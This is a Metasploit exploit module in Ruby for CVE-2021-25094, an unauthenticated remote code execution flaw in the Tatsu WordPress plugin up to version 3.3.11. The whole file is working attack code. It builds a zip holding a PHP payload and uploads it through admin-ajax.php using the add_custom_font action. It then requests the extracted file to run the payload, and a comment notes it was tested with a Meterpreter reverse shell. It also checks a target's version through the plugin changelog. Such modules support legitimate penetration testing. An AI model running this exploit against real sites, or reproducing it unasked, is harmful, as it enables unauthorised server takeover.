##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Payload::Php
  include Msf::Exploit::FileDropper
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HTTP::Wordpress
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Tatsu Wordpress Plugin RCE',
        'Description' => %q{
          This module adds exploit for CVE-2021-25094 - unauthenticated remote code execution in Tatsu Wordpress plugin <= 3.3.11. Module uploads malicious zip with PHP payload that gets executed in second part of exploit.
        },
        'Author' => [
          'Vincent Michel', # Vulnerability discovery
          'msutovsky-r7' # Metasploit module
        ],
        'References' => [
          ['CVE', '2021-25094'],
          ['EDB', '52260']
        ],
        'License' => MSF_LICENSE,
        'Privileged' => false,
        'Targets' => [
          [
            'PHP',
            {
              'Platform' => 'php',
              'Arch' => ARCH_PHP
              # tested with php/meterpreter/reverse_tcp
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2022-04-25',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],
          'Reliability' => [REPEATABLE_SESSION]
        }
      )
    )
  end

  def create_zip
    zip_file = Rex::Zip::Archive.new
    @payload_file = '.' + Rex::Text.rand_text_alphanumeric(12) + '.php'
    zip_file.add_file(@payload_file, payload.encoded)
    zip_file.pack
  end

  def upload_malicious_zip
    zip_payload = create_zip

    boundary = Rex::Text.rand_text_alphanumeric(32).to_s

    data_post = "--#{boundary}\r\n"
    data_post << "Content-Disposition: form-data; name=\"action\"\r\n\r\n"
    data_post << "add_custom_font\r\n"
    data_post << "--#{boundary}\r\n"

    data_post << "Content-Disposition: form-data; name=\"file\"; filename=\"#{Rex::Text.rand_text_alphanumeric(12)}.zip\"\r\n\r\n"
    data_post << "#{zip_payload}\r\n"
    data_post << "--#{boundary}--\r\n"

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri('wp-admin/admin-ajax.php'),
      'ctype' => "multipart/form-data; boundary=#{boundary}",
      'data' => data_post
    })

    fail_with Failure::Unknown, 'Unexpected response' unless res&.code == 200
    json_content = res.get_json_document

    fail_with Failure::PayloadFailed, 'Failed to upload payload' unless json_content.fetch('status', nil) == 'success'

    @zip_name = json_content.fetch('name', nil)

    fail_with Failure::UnexpectedReply, 'Cannot get uploaded name' unless @zip_name
  end

  def trigger_payload
    send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri('/wp-content/uploads/typehub/custom/', @zip_name.downcase + '/', @payload_file)
    })
  end

  def check
    return CheckCode::Unknown('Target not responding') unless wordpress_and_online?

    wp_version = wordpress_version
    print_status("Detected WordPress version: #{wp_version}") if wp_version

    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri('/wp-content/plugins/tatsu/changelog.md')
    })

    return CheckCode::Unknown('Could not find tatsu plugin') unless res&.code == 200

    changelog_body = res.body

    return CheckCode::Safe('Could not find tatsu plugin') if changelog_body.blank?

    return CheckCode::Detected('Tatsu plugin detected but it failed to get version') unless changelog_body.match(/v(\d\d?.\d\d?.\d\d?)/)

    version = Rex::Version.new(Regexp.last_match(1))

    return CheckCode::Appears("Found version #{version}") if version <= Rex::Version.new('3.3.11')

    return CheckCode::Safe('Patched version detected')
  end

  def exploit
    upload_malicious_zip
    trigger_payload
  end

end
